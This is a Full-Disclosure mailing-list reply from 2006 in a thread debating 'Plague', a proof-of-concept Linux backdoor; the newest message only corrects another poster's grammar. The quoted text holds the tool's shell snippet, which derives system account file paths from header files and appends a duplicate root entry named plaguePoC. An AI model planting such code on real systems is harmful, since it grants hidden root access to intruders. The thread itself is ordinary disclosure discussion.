full-disclosure - Re: Plague Proof of Concept Linux backdoor

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Date: Sun, 22 Oct 2006 17:24:11 -0500
From: <cdejrhymeswithgay@...h.com>
To: <dudevanwinkle@...il.com>, <hijacker@...um.net>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Plague Proof of Concept Linux backdoor

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On Sun, 22 Oct 2006 06:29:35 -0500 hijacker@...um.net wrote:
>even if they have ssh access, there is still nothing they can do,
>except
>to create two files in there $HOME directories containing
>expressions from
>paths.h and sysexits.h ?
>
>Why would that be considered a backdoor?
>
>Regards,
>-Nikolay Kichukov
>
>
>> On 10/22/06, J. Oquendo <sil@...iltrated.net> wrote:
>>>
>>> Plague is an odd proof of concept backdoor keeping
>>> tool based on the premise of using existing system
>>> files and commands to keep and maintain a backdoor
>>> on Linux systems. I could have modified this for
>>> BSD, Solaris, etc., but I didn't feel like doing
>>> the work...
>>>
>>> http://www.infiltrated.net/plague
>>>
>>
>> (from the link)
>>
>> if [ -e /usr/include/paths.h ]
>>
>> then
>>
>>         file=`awk 'NR==59 {gsub(/"/,"");print $3}'
>/usr/include/paths.h`
>>         sed -n '1p' $file|sed 's/root/plaguePoC/g' >> $file
>>         file2=`awk 'NR==74 {print $8}' /usr/include/sysexits.h`
>>         sed -n '1p' $file2|sed 's/root/plaguePoC/g' >> $file2
>>
>> fi
>>
>> --------------------------------
>>
>> So this backdoor wouldnt work remotely, correct? You would need
>to add
>> the user to the people allowed to ssh in, and poke a hole for
>ssh in
>> the firewall./?
>>
>> -JP
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/

You said "there" when it should be "their."
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/